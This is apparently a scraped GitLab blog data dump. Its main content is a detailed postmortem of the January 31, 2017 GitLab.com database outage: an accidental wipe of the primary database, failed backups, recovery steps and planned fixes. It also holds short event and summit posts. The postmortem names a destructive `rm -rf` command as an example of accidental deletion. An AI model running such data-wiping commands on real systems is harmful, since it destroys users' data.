class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/8Kztn0edk9c\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nThe next retrospective and kickoff call recordings will be available on the\n[GitLab YouTube channel](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg).\n\nWe look forward to reading all your comments on these documents and to\nseeing your face in the calls!\n\n",{"slug":36326,"featured":6,"template":678},"our-retrospective-and-kickoff-are-public","content:en-us:blog:our-retrospective-and-kickoff-are-public.yml","Our Retrospective And Kickoff Are Public","en-us/blog/our-retrospective-and-kickoff-are-public.yml","en-us/blog/our-retrospective-and-kickoff-are-public",{"_path":36332,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36333,"content":36339,"config":36343,"_id":36345,"_type":16,"title":36346,"_source":17,"_file":36347,"_stem":36348,"_extension":20},"/en-us/blog/gitlab-issue-bash-march-2017",{"title":36334,"description":36335,"ogTitle":36334,"ogDescription":36335,"noIndex":6,"ogImage":36336,"ogUrl":36337,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36337,"schema":36338},"Join GitLab's March 2017 Issue Bash","We're on a mission to blitz GitLab's open issues and we need your help!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671105/Blog/Hero%20Images/gitlab-issue-bash-march-2017-cover.png","https://about.gitlab.com/blog/gitlab-issue-bash-march-2017","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join GitLab's March 2017 Issue Bash\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2017-02-10\",\n      }",{"title":36334,"description":36335,"authors":36340,"heroImage":36336,"date":36341,"body":36342,"category":299},[34953],"2017-02-10","\n\nThere are currently over 6000 open issues on GitLab CE,\nand we need your help to sort them out! We have over 1500\n[GitLab contributors](http://contributors.gitlab.com/contributors/),\nand we want everyone to be able to find issues to work on.\n\nOf course, some lucky contributors will be rewarded with awesome swag! 🙌\n\n\u003C!-- more -->\n\nOur last Issue Bash helped us to close over 100 issues and make lots of\nimprovements to the categorization of existing issues.\n{:.alert .alert-info .text-center}\n\n## When is it going to happen?\n\nWe'll kick it off at 00:01 UTC on Saturday, **March 4th**\nand will keep it up until 23:59 UTC on Sunday, **March 5th**.\n\n## Who can contribute?\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n&nbsp;&nbsp;\n**At GitLab, everyone can contribute!**\n&nbsp;&nbsp;\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nThis is your chance to get involved! Most of the tasks don't require\ntechnical expertise, therefore, non-technical community\nmembers are definitely welcome and prize worthy!\n\n## How do you get involved?\n\nThere are four main things we need from our task force:\n\n- Track issues that can be easily closed\n- Categorize issues\n- Fix known bugs and pain points\n- Ship existing feature proposals\n\nCheck out the [Issue Bash Proposal](https://gitlab.com/gitlab-org/gitlab-ce/issues/27272) to find out how to get started.\n\n## Prizes\n\nWe have some awesome swag ready for you:\n\n- Five T-shirts\n- Four pairs of pajama pants\n- Three Moleskine notebooks\n- Two [PocketCHIPs](https://getchip.com/pages/pocketchip)\n- One messenger bag (filled with all the stuff listed above!)\n\n![GitLab Issue Bash - Prizes](https://about.gitlab.com/images/blogimages/gitlab-issue-bash-march-2017-prizes.png)\n\nIf we solve twice as many issues as we did in\nthe last Issue Bash (> 200), we'll give away a **mystery prize** as well! 🎉\n\nUsers making any contributions to the project that fall into the above categories,\nbetween the start and end times of the event, will be entered into the random draw\nto win a prize. The contributions will be collated after the end of the event and\nprize winners, drawn at random, will be contacted in the weeks that follow.\n\n## Questions? More info?\n\n[GitLab team](/company/team/) members [@markglenfletcher](https://gitlab.com/markglenfletcher), [@ClemMakesApps](https://gitlab.com/ClemMakesApps), and the [core team](/community/core-team/) member [@haynes](https://gitlab.com/haynes) will be on hand to answer questions and close issues.\n",{"slug":36344,"featured":6,"template":678},"gitlab-issue-bash-march-2017","content:en-us:blog:gitlab-issue-bash-march-2017.yml","Gitlab Issue Bash March 2017","en-us/blog/gitlab-issue-bash-march-2017.yml","en-us/blog/gitlab-issue-bash-march-2017",{"_path":36350,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36351,"content":36356,"config":36359,"_id":36361,"_type":16,"title":36362,"_source":17,"_file":36363,"_stem":36364,"_extension":20},"/en-us/blog/postmortem-of-database-outage-of-january-31",{"title":36352,"description":36353,"ogTitle":36352,"ogDescription":36353,"noIndex":6,"ogImage":12013,"ogUrl":36354,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36354,"schema":36355},"Postmortem of database outage of January 31","Postmortem on the database outage of January 31 2017 with the lessons we learned.","https://about.gitlab.com/blog/postmortem-of-database-outage-of-january-31","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Postmortem of database outage of January 31\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2017-02-10\",\n      }",{"title":36352,"description":36353,"authors":36357,"heroImage":12013,"date":36341,"body":36358,"category":299},[711],"\n\nOn January 31st 2017, we experienced a major service outage for one of our products, the online service GitLab.com. The outage was caused by an accidental removal of data from our primary database server.\n\nThis incident caused the GitLab.com service to be unavailable for many hours. We also lost some production data that we were eventually unable to recover. Specifically, we lost modifications to database data such as projects, comments, user accounts, issues and snippets, that took place between 17:20 and 00:00 UTC on January 31. Our best estimate is that it affected roughly 5,000 projects, 5,000 comments and 700 new user accounts. Code repositories or wikis hosted on GitLab.com were unavailable during the outage, but were not affected by the data loss. [GitLab Enterprise](/enterprise/) customers, GitHost customers, and self-managed GitLab CE users were not affected by the outage, or the data loss.\n\nLosing production data is unacceptable. To ensure this does not happen again we're working on multiple improvements to our operations & recovery procedures for GitLab.com. In this article we'll look at what went wrong, what we did to recover, and what we'll do to prevent this from happening in the future.\n\nTo the GitLab.com users whose data we lost and to the people affected by the outage: we're sorry. I apologize personally, as GitLab's CEO, and on behalf of everyone at GitLab.\n\n## Database setup\n\nGitLab.com currently uses a single primary and a single secondary in hot-standby\nmode. The standby is only used for failover purposes. In this setup a single\ndatabase has to handle all the load, which is not ideal. The primary's hostname\nis `db1.cluster.gitlab.com`, while the secondary's hostname is\n`db2.cluster.gitlab.com`.\n\nIn the past we've had various other issues with this particular setup due to\n`db1.cluster.gitlab.com` being a single point of failure. For example:\n\n* [A database outage on November 28th, 2016 due to project_authorizations having too much bloat](https://gitlab.com/gitlab-com/infrastructure/issues/791)\n* [CI distributed heavy polling and exclusive row locking for seconds takes GitLab.com down](https://gitlab.com/gitlab-com/infrastructure/issues/514)\n* [Scary DB spikes](https://gitlab.com/gitlab-com/infrastructure/issues/364)\n\n## Timeline\n\nOn January 31st an engineer started setting up multiple PostgreSQL servers in\nour staging environment. The plan was to try out\n[pgpool-II](http://www.pgpool.net/mediawiki/index.php/Main_Page) to see if it\nwould reduce the load on our database by load balancing queries between the\navailable hosts. Here is the issue for that plan:\n[infrastructure#259](https://gitlab.com/gitlab-com/infrastructure/issues/259).\n\n**± 17:20 UTC:** prior to starting this work, our engineer took an LVM snapshot\nof the production database and loaded this into the staging environment. This was\nnecessary to ensure the staging database was up to date, allowing for more\naccurate load testing. This procedure normally happens automatically once every\n24 hours (at 01:00 UTC), but they wanted a more up to date copy of the\ndatabase.\n\n**± 19:00 UTC:** GitLab.com starts experiencing an increase in database load due\nto what we suspect was spam. In the week leading up to this event GitLab.com had\nbeen experiencing similar problems, but not this severe. One of the problems\nthis load caused was that many users were not able to post comments on issues\nand merge requests. Getting the load under control took several hours.\n\nWe would later find out that part of the load was caused by a background job\ntrying to remove a GitLab employee and their associated data. This was the\nresult of their account being flagged for abuse and accidentally scheduled for removal. More information regarding this particular problem can be found in the\nissue [\"Removal of users by spam should not hard\ndelete\"](https://gitlab.com/gitlab-org/gitlab-ce/issues/27581).\n\n**± 23:00 UTC:** Due to the increased load, our PostgreSQL secondary's\nreplication process started to lag behind. The replication failed as WAL\nsegments needed by the secondary were already removed from the primary. As\nGitLab.com was not using WAL archiving, the secondary had to be re-synchronised\nmanually. This involves removing the\nexisting data directory on the secondary, and running\n[pg_basebackup](https://www.postgresql.org/docs/9.6/static/app-pgbasebackup.html)\nto copy over the database from the primary to the secondary.\n\nOne of the engineers went to the secondary and wiped the data directory, then\nran `pg_basebackup`. Unfortunately `pg_basebackup` would hang, producing no\nmeaningful output, despite the `--verbose` option being set. After a few tries\n`pg_basebackup` mentioned that it could not connect due to the master not having\nenough available replication connections (as controlled by the `max_wal_senders`\noption).\n\nTo resolve this our engineers decided to temporarily increase\n`max_wal_senders` from the default value of `3` to `32`. When applying the\nsettings, PostgreSQL refused to restart, claiming too many semaphores were being\ncreated. This can happen when, for example, `max_connections` is set too high. In\nour case this was set to `8000`. Such a value is way too high, yet it had been\napplied almost a year ago and was working fine until that point. To resolve this\nthe setting's value was reduced to `2000`, resulting in PostgreSQL restarting\nwithout issues.\n\nUnfortunately this did not resolve the problem of `pg_basebackup` not starting\nreplication immediately. One of the engineers decided to run it with `strace` to\nsee what it was blocking on. `strace` showed that `pg_basebackup` was hanging in\na `poll` call, but that did not provide any other meaningful information that might\nhave explained why.\n\n**± 23:30 UTC:** one of the engineers thinks that perhaps `pg_basebackup`\ncreated some files in the PostgreSQL data directory of the secondary during the\nprevious attempts to run it. While normally `pg_basebackup` prints an error when\nthis is the case, the engineer in question wasn't too sure what was going on. It\nwould later be revealed by another engineer (who wasn't around at the time) that\nthis is normal behaviour: `pg_basebackup` will wait for the primary to start\nsending over replication data and it will sit and wait silently until that time.\nUnfortunately this was not clearly documented in our [engineering\nrunbooks](https://gitlab.com/gitlab-com/runbooks) nor in the official\n`pg_basebackup` document.\n\nTrying to restore the replication process, an engineer proceeds to wipe the\nPostgreSQL database directory, errantly thinking they were doing so on the\nsecondary. Unfortunately this process was executed on the primary instead. The\nengineer terminated the process a second or two after noticing their mistake,\nbut at this point around 300 GB of data had already been removed.\n\nHoping they could restore the database the engineers involved went to look for\nthe database backups, and asked for help on Slack. Unfortunately the process of\nboth finding and using backups failed completely.\n\n## Broken recovery procedures\n\nThis brings us to the recovery procedures. Normally in an event like this, one\nshould be able to restore a database in relatively little time using a recent\nbackup, though some form of data loss can not always be prevented. For\nGitLab.com we have the following procedures in place:\n\n1. Every 24 hours a backup is generated using `pg_dump`, this backup is uploaded\n   to Amazon S3. Old backups are automatically removed after some time.\n1. Every 24 hours we generate an LVM snapshot of the disk storing the production\n   database data. This snapshot is then loaded into the staging environment,\n   allowing us to more safely test changes without impacting our production\n   environment. Direct access to the staging database is restricted, similar to\n   our production database.\n1. For various servers (e.g. the NFS servers storing Git data) we use Azure disk\n   snapshots. These snapshots are taken once per 24 hours.\n1. Replication between PostgreSQL hosts, primarily used for failover purposes\n   and not for disaster recovery.\n\nAt this point the replication process was broken and data had already been wiped\nfrom both the primary and secondary, meaning we could not restore from either\nhost.\n\n### Database backups using pg_dump\n\nWhen we went to look for the `pg_dump` backups we found out they were not there.\nThe S3 bucket was empty, and there was no recent backup to be found anywhere.\nUpon closer inspection we found out that the backup procedure was using\n`pg_dump` 9.2, while our database is running PostgreSQL 9.6 (for Postgres, 9.x\nreleases are considered major). A difference in major versions results in\n`pg_dump` producing an error, terminating the backup procedure.\n\nThe difference is the result of how our Omnibus package works. We currently\nsupport both PostgreSQL 9.2 and 9.6, allowing users to upgrade (either manually\nor using commands provided by the package). To determine the correct version to\nuse the Omnibus package looks at the PostgreSQL version of the database cluster\n(as determined by `$PGDIR/PG_VERSION`, with `$PGDIR` being the path to the data\ndirectory). When PostgreSQL 9.6 is detected Omnibus ensures all binaries use\nPostgreSQL 9.6, otherwise it defaults to PostgreSQL 9.2.\n\nThe `pg_dump` procedure was executed on a regular application server, not the\ndatabase server. As a result there is no PostgreSQL data directory present on\nthese servers, thus Omnibus defaults to PostgreSQL 9.2. This in turn resulted in\n`pg_dump` terminating with an error.\n\nWhile notifications are enabled for any cronjobs that error, these notifications\nare sent by email. For GitLab.com we use [DMARC](https://dmarc.org/).\nUnfortunately DMARC was not enabled for the cronjob emails, resulting in them\nbeing rejected by the receiver. This means we were never aware of the backups\nfailing, until it was too late.\n\n### Azure disk snapshots\n\nAzure disk snapshots are used to generate a snapshot of an entire disk. These\nsnapshots don't make it easy to restore individual chunks of data (e.g. a lost\nuser account), though it's possible. The primary purpose is to restore entire\ndisks in case of disk failure.\n\nIn Azure a snapshot belongs to a storage account, and a storage account in turn\nis linked to one or more hosts. Each storage account has a limit of roughly 30\nTB. When restoring a snapshot using a host in the same storage account, the\nprocedure usually completes very quickly. However, when using a host in a\ndifferent storage account the procedure can take hours if not days to complete.\nFor example, in one such case it took over a week to restore a snapshot. As a\nresult we try not to rely on this system too much.\n\nWhile enabled for the NFS servers, these snapshots were not enabled for any of\nthe database servers as we assumed that our other backup procedures were\nsufficient enough.\n\n### LVM snapshots\n\nThe LVM snapshots are primarily used to easily copy data from our production\nenvironment to our staging environment. While this process was working as\nintended, the produced snapshots are not really meant to be used for disaster\nrecovery. At the time of the outage we had two snapshots available:\n\n1. A snapshot created for our staging environment every 24 hours, almost 24\n   hours before the outage happened.\n1. A snapshot created manually by one of the engineers roughly 6 hours before\n   the outage.\n\nWhen we generate a snapshot the following steps are taken:\n\n1. Generate a snapshot of production.\n1. Copy the snapshot to staging.\n1. Create a new disk using this snapshot.\n1. Remove all webhooks from the resulting database, to prevent them from being\n   triggered by accident.\n\n## Recovering GitLab.com\n\nTo recover GitLab.com we decided to use the LVM snapshot created 6 hours before\nthe outage, as it was our only option to reduce data loss as much as possible\n(the alternative was to lose almost 24 hours of data). This process would\ninvolve the following steps:\n\n1. Copy the existing staging database to production, which would not contain any\n   webhooks.\n1. In parallel, copy the snapshot used to set up the database as this snapshot\n   might still contain the webhooks (we weren't entirely sure).\n1. Set up a production database using the snapshot from step 1.\n1. Set up a separate database using the snapshot from step 2.\n1. Restore webhooks using the database set up in the previous step.\n1. Increment all database sequences by 100,000 so one can't re-use IDs that\n   might have been used before the outage.\n1. Gradually re-enable GitLab.com.\n\nFor our staging environment we were using Azure classic, without Premium Storage.\nThis is primarily done to save costs as premium storage is quite expensive. As a\nresult the disks are very slow, resulting in them being the main bottleneck in\nthe restoration process. Because LVM snapshots are stored on the hosts they are\ntaken for we had two options to restore data:\n\n1. Copy over the LVM snapshot\n1. Copy over the PostgreSQL data directory\n\nIn both cases the amount of data to copy would be roughly the same. Since\ncopying over and restoring the data directory would be easier we decided to go\nwith this solution.\n\nCopying the data from the staging to the production host took around 18 hours. These disks are network disks and are throttled to a really low number (around 60Mbps), there is no way to move from cheap storage to premium, so this was the performance we would get out of it. There was no network or processor bottleneck, the bottleneck was in the drives.\nOnce copied we were able to restore the database (including webhooks) to the\nstate it was at January 31st, 17:20 UTC.\n\nOn February 1st at 17:00 UTC we managed to restore the GitLab.com database\nwithout webhooks. Restoring webhooks was done by creating a separate staging\ndatabase using the LVM snapshot, but without triggering the removal of webhooks.\nThis allowed us to generate a SQL dump of the table and import this into the\nrestored GitLab.com database.\n\nAround 18:00 UTC we finished the final restoration procedures such as restoring\nthe webhooks and confirming everything was operating as expected.\n\n## Publication of the outage\n\nIn the spirit of transparency we kept track of progress and notes in a\n[publicly visible Google document](https://docs.google.com/document/d/1GCK53YDcBWQveod9kfzW-VCxIABGiryG7_z_6jHdVik/pub).\nWe also streamed the recovery procedure on YouTube, with a peak viewer count of\naround 5000 (resulting in the stream being the #2 live stream on YouTube for\nseveral hours). The stream was used to give our users live updates about the\nrecovery procedure. Finally we used Twitter (\u003Chttps://twitter.com/gitlabstatus>)\nto inform those that might not be watching the stream.\n\nThe document in question was initially private to GitLab employees and contained\nname of the engineer who accidentally removed the data. While the name was added\nby the engineer themselves (and they had no problem with this being public), we\nwill redact names in future cases as other engineers may not be comfortable with\ntheir name being published.\n\n## Data loss impact\n\nDatabase data such as projects, issues, snippets, etc. created between January\n31st 17:20 UTC and 23:30 UTC has been lost. Git repositories and Wikis were not\nremoved as they are stored separately.\n\nIt's hard to estimate how much data has been lost exactly, but we estimate we\nhave lost at least 5000 projects, 5000 comments, and roughly 700 users. This\nonly affected users of GitLab.com, self-managed instances or GitHost instances\nwere not affected.\n\n## Impact on GitLab itself\n\nSince GitLab uses GitLab.com to develop GitLab the outage meant that for some it\nwas harder to get work done. Most developers could continue working using their\nlocal Git repositories, but creating issues and such had to be delayed. To\npublish the blog post [\"GitLab.com Database\nIncident\"](/blog/gitlab-dot-com-database-incident/)\nwe used a private GitLab instance we normally use for private/sensitive\nworkflows (e.g. security releases). This allowed us to build and deploy a new\nversion of the website while GitLab.com was unavailable.\n\nWe also have a public monitoring website located at\n\u003Chttps://dashboards.gitlab.com/>. Unfortunately the current setup for this website\nwas not able to handle the load produced by users using this service during the\noutage. Fortunately our internal monitoring systems (which dashboards.gitlab.com is\nbased on) were not affected.\n\n## Root cause analysis\n\nTo analyse the root cause of these problems we'll use a technique called [\"The 5\nWhys\"](https://en.wikipedia.org/wiki/5_Whys). We'll break up the incident into 2\nmain problems: GitLab.com being down, and it taking a long time to restore\nGitLab.com.\n\n**Problem 1:** GitLab.com was down for about 18 hours.\n\n1. **Why was GitLab.com down?** - The database directory of the primary database\n   was removed by accident, instead of removing the database directory of the\n   secondary.\n1. **Why was the database directory removed?** - Database replication stopped,\n   requiring the secondary to be reset/rebuilt. This in turn requires that the\n   PostgreSQL data directory is empty. Restoring this required manual work as\n   this was not automated, nor was it documented properly.\n1. **Why did replication stop?** - A spike in database load caused the database\n   replication process to stop. This was due to the primary removing WAL\n   segments before the secondary could replicate them.\n1. **Why did the database load increase?** - This was caused by two events\n   happening at the same time: an increase in spam, and a process trying to\n   remove a GitLab employee and their associated data.\n1. **Why was a GitLab employee scheduled for removal?** - The employee was\n   reported for abuse by a troll. The current system used for responding to\n   abuse reports makes it too easy to overlook the details of those reported. As\n   a result the employee was accidentally scheduled for removal.\n\n**Problem 2:** restoring GitLab.com took over 18 hours.\n\n1. **Why did restoring GitLab.com take so long?** - GitLab.com had to be\n   restored using a copy of the staging database. This was hosted on slower\n   Azure VMs in a different region.\n1. **Why was the staging database needed for restoring GitLab.com?** - Azure\n   disk snapshots were not enabled for the database servers, and the periodic\n   database backups using `pg_dump` were not working.\n1. **Why could we not fail over to the secondary database host?** - The\n   secondary database's data was wiped as part of restoring database\n   replication. As such it could not be used for disaster recovery.\n1. **Why could we not use the standard backup procedure?** - The standard backup\n   procedure uses `pg_dump` to perform a logical backup of the database. This\n   procedure failed silently because it was using PostgreSQL 9.2, while\n   GitLab.com runs on PostgreSQL 9.6.\n1. **Why did the backup procedure fail silently?** - Notifications were\n   sent upon failure, but because of the Emails being rejected there was no\n   indication of failure. The sender was an automated process with no other\n   means to report any errors.\n1. **Why were the Emails rejected?** - Emails were rejected by the receiving\n   mail server due to the Emails not being signed using DMARC.\n1. **Why were Azure disk snapshots not enabled?** - We assumed our other backup\n   procedures were sufficient. Furthermore, restoring these snapshots can take\n   days.\n1. **Why was the backup procedure not tested on a regular basis?** - Because\n   there was no ownership, as a result nobody was responsible for testing this\n   procedure.\n\n## Improving recovery procedures\n\nWe are currently working on fixing and improving our various recovery\nprocedures. Work is split across the following issues:\n\n1. [Overview of status of all issues listed in this blog post (#1684)](https://gitlab.com/gitlab-com/infrastructure/issues/1684)\n1. [Update PS1 across all hosts to more clearly differentiate between hosts and environments (#1094)](https://gitlab.com/gitlab-com/infrastructure/issues/1094)\n1. [Prometheus monitoring for backups (#1095)](https://gitlab.com/gitlab-com/infrastructure/issues/1095)\n1. [Set PostgreSQL's max_connections to a sane value (#1096)](https://gitlab.com/gitlab-com/infrastructure/issues/1096)\n1. [Investigate Point in time recovery & continuous archiving for PostgreSQL (#1097)](https://gitlab.com/gitlab-com/infrastructure/issues/1097)\n1. [Hourly LVM snapshots of the production databases (#1098)](https://gitlab.com/gitlab-com/infrastructure/issues/1098)\n1. [Azure disk snapshots of production databases (#1099)](https://gitlab.com/gitlab-com/infrastructure/issues/1099)\n1. [Move staging to the ARM environment (#1100)](https://gitlab.com/gitlab-com/infrastructure/issues/1100)\n1. [Recover production replica(s) (#1101)](https://gitlab.com/gitlab-com/infrastructure/issues/1101)\n1. [Automated testing of recovering PostgreSQL database backups (#1102)](https://gitlab.com/gitlab-com/infrastructure/issues/1102)\n1. [Improve PostgreSQL replication documentation/runbooks (#1103)](https://gitlab.com/gitlab-com/infrastructure/issues/1103)\n1. [Investigate pgbarman for creating PostgreSQL backups (#1105)](https://gitlab.com/gitlab-com/infrastructure/issues/1105)\n1. [Investigate using WAL-E as a means of Database Backup and Realtime Replication (#494)](https://gitlab.com/gitlab-com/infrastructure/issues/494)\n1. [Build Streaming Database Restore](https://gitlab.com/gitlab-com/infrastructure/issues/1152)\n1. [Assign an owner for data durability](https://gitlab.com/gitlab-com/infrastructure/issues/1163)\n\nWe are also working on setting up multiple secondaries and balancing the load\namongst these hosts. More information on this can be found at:\n\n* [Bundle pgpool-II 3.6.1 (!1251)](https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests/1251)\n* [Connection pooling/load balancing for PostgreSQL (#259)](https://gitlab.com/gitlab-com/infrastructure/issues/259)\n\nOur main focus is to improve disaster recovery, and making it more obvious as to\nwhat host you're using; instead of preventing production engineers from running\ncertain commands. For example, one could alias `rm` to something safer but in\ndoing so would only protect themselves against accidentally running `rm -rf\n/important-data`, not against disk corruption or any of the many other ways you\ncan lose data.\n\nAn ideal environment is one in which you _can_ make mistakes but easily and\nquickly recover from them with minimal to no impact. This in turn requires you\nto be able to perform these procedures on a regular basis, and make it easy to\ntest and roll back any changes. For example, we are in the process of setting up\nprocedures that allow developers to test their database migrations. More\ninformation on this can be found in the issue\n[\"Tool for executing and reverting Rails migrations on staging\"](https://gitlab.com/gitlab-com/infrastructure/issues/811).\n\nWe're also looking into ways to build better recovery procedures for the entire\nGitLab.com infrastructure, and not just the database; and to ensure there is\nownership of these procedures. The issue for this is\n[\"Disaster recovery for everything that is not the database\"](https://gitlab.com/gitlab-com/infrastructure/issues/1161).\n\nMonitoring wise we also started working on a public backup monitoring dashboard,\nwhich can be found at \u003Chttps://dashboards.gitlab.com/dashboard/db/postgresql-backups>.\nCurrently this dashboard only contains data of our `pg_dump` backup procedure,\nbut we aim to add more data over time.\n\nOne might notice that at the moment our `pg_dump` backups are 3 days old.  We\nperform these backups on a secondary as `pg_dump` can put quite a bit of\npressure on a database. Since we are in the process of rebuilding our\nsecondaries the `pg_dump` backup procedure is suspended for the time being. Fear\nnot however, as LVM snapshots are now taken every hour instead of once per 24\nhours. Enabling Azure disk snapshots is something we're still looking into.\n\nFinally, we're looking into improving our abuse reporting and response system.\nMore information regarding this can be found in the issue\n[\"Removal of users by spam should not hard delete\"](https://gitlab.com/gitlab-org/gitlab-ce/issues/27581).\n\nIf you think there are additional measures we can take to prevent incidents like this please let us know in the comments.\n\n## Troubleshooting FAQ\n\n### Some of my merge requests are shown as being open, but their commits have already been merged into the default branch. How can I resolve this?\n\nPushing to the default branch will automatically update the merge request so\nthat it's aware of there not being any differences between the source and target\nbranch. At this point you can safely close the merge request.\n\n### My merge request has not yet been merged, and I am not seeing my changes. How can I resolve this?\n\nThere are 3 options to resolve this:\n\n1. Close the MR and create a new one\n1. Push new changes to the merge request's source branch\n1. Rebase/amend, and force push to the merge request's source branch\n\n### My GitLab Pages website was not updated. How can I solve this?\n\nGo to your project, then \"Pipelines\", \"New Pipeline\", use \"master\" as the\nbranch, then create the pipeline. This will create and start a new pipeline\nusing your master branch, which should result in your website being updated.\n\n### My Pipelines were not executed\n\nMost likely they were, but the database is not aware of this. To solve this,\ncreate a new pipeline using the right branch and run it.\n\n### Some commits are not showing up\n\nPushing new commits should automatically solve this. Alternatively you can try\nforce pushing to the target branch.\n\n### I created a project after 17:20 UTC and it shows up, but my issues are gone.  What happened?\n\nProject details are stored in the database. This meant that this data was lost\nfor projects created after 17:20. We ran a procedure to restore these\nprojects based on their Git repositories that were still stored in our NFS\ncluster. This procedure however was only able to restore projects in their most\nbasic form, without associated data such as issues and merge requests.\n",{"slug":36360,"featured":6,"template":678},"postmortem-of-database-outage-of-january-31","content:en-us:blog:postmortem-of-database-outage-of-january-31.yml","Postmortem Of Database Outage Of January 31","en-us/blog/postmortem-of-database-outage-of-january-31.yml","en-us/blog/postmortem-of-database-outage-of-january-31",{"_path":36366,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36367,"content":36373,"config":36378,"_id":36380,"_type":16,"title":36381,"_source":17,"_file":36382,"_stem":36383,"_extension":20},"/en-us/blog/gitlab-mexico-summit-2017",{"title":36368,"description":36369,"ogTitle":36368,"ogDescription":36369,"noIndex":6,"ogImage":36370,"ogUrl":36371,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36371,"schema":36372},"GitLab Mexico Summit 2017","The largest remote-only organization in the world takes over Cancún for a week full of joy!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671507/Blog/Hero%20Images/akumal.jpg","https://about.gitlab.com/blog/gitlab-mexico-summit-2017","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Mexico Summit 2017\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kirsten Abma\"}],\n        \"datePublished\": \"2017-02-08\",\n      }",{"title":36368,"description":36369,"authors":36374,"heroImage":36370,"date":36376,"body":36377,"category":299},[36375],"Kirsten Abma","2017-02-08","\n\nSix months of planning culminated in 201 GitLab team-members taking over\none Cancún resort for a long week of meetings, activities, hard work,\nand fun.\n\n\u003C!-- more -->\n\nIf it were appropriate to start a blog post with every emoji\nthat expresses extreme delight, we would. In lieu of that we will\njust say the GitLab Summit in Mexico was beyond excellent. 🎉\n\n## A little background for the folks at home\n\nAs a fully remote company with people in 35 different countries,\nmost of the team never gets to meet each other in person.\nTo remedy that, and so that everyone gets a\nchance for some face-to-face time and to meet their teams, we do a [team\nsummit] every nine months. This allows us to get to know the group better\nand have a unique opportunity to collaborate with our own teams and\nothers we may not work with normally. By the end of the week we\nall have a better understanding of what everyone does, who we can\ngo to with questions on specific topics, and how we all can work\ntogether as a team.\n\n## We took Cancún by storm\n\nOn Tuesday, January 10th, our entire team was welcomed by the people behind the screens\nwith amazing swag, made specially for this trip, including a T-shirt,\nname badge, stickers, bag patches, and a drawstring bag; all Mexican themed.\n\n![GitLab Team - January 2017](https://about.gitlab.com/images/8_16/pic.jpg)\n\n## Sid's shuffle challenge\n\nAfter a full night's rest we kicked the week off with a welcome keynote\nby our main man, [Sid], who immediately got the team spirit going by\nchallenging the team to make the Idea to Production demo work on\nGoogle Kubernetes Engine.\n\n\u003C!-- Keynote -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/xGxLi3PtxHM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nIf the team managed to show this fully functioning, he would do the\nSid shuffle from \"Ice Age 4\". Needless to say our team didn't disappoint,\nand neither did Sid.\n\n\u003C!-- I2P + shuffle -->\n\nThe video is not the best we've posted, but we don't want you to miss out on the Sid Shuffle. If you want to skip the live demo our team did, please go to [28:29](https://www.youtube.com/watch?v=39chczWRKws#t=28m29s).\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/39chczWRKws\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## So much awesomeness\n\nWe broke into smaller groups for a competitive scavenger hunt and\nenjoyed the fruits of our labor with a happy hour afterwards.\n\nWe could make this blog post five pages long just describing how beautiful\nour trip to Akumal beach was, where we got to snorkel with sea turtles,\nhow impressive the Mayan ruins of Chichén Itzá were after so many years,\nthe adrenaline rush the zipline gave us, or how much money we made at\nour very own GitLab Casino night, but there’s no way of putting into\nwords how much fun this week was.\n\n\u003C!-- carousel -->\n\n\u003Cdiv id=\"carousel-example-generic\" class=\"carousel slide\" data-ride=\"carousel\">\n  \u003C!-- Indicators -->\n  \u003Col class=\"carousel-indicators\">\n    \u003Cli data-target=\"#carousel-example-generic\" data-slide-to=\"0\" class=\"active\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic\" data-slide-to=\"1\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic\" data-slide-to=\"2\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic\" data-slide-to=\"3\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic\" data-slide-to=\"4\">\u003C/li>\n  \u003C/ol>\n\n  \u003C!-- Wrapper for slides -->\n  \u003Cdiv class=\"carousel-inner\" role=\"listbox\">\n    \u003Cdiv class=\"item active\">\n      \u003Cimg src=\"/images/blogimages/gitlab-mexico-summit-2017/hotel.jpg\" alt=\"Resort\">\n      \u003Cdiv class=\"carousel-caption\">\n        Resort\n      \u003C/div>\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/gitlab-mexico-summit-2017/akumal-turtle.jpg\" alt=\"Swimming with turtles at Akumal\">\n      \u003Cdiv class=\"carousel-caption\">\n        Akumal Beach - Swimming with Turtles\n      \u003C/div>\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/gitlab-mexico-summit-2017/chichen-itza.jpg\" alt=\"Maya Ruins - Chichén Itzá\">\n      \u003Cdiv class=\"carousel-caption\">\n        Maya 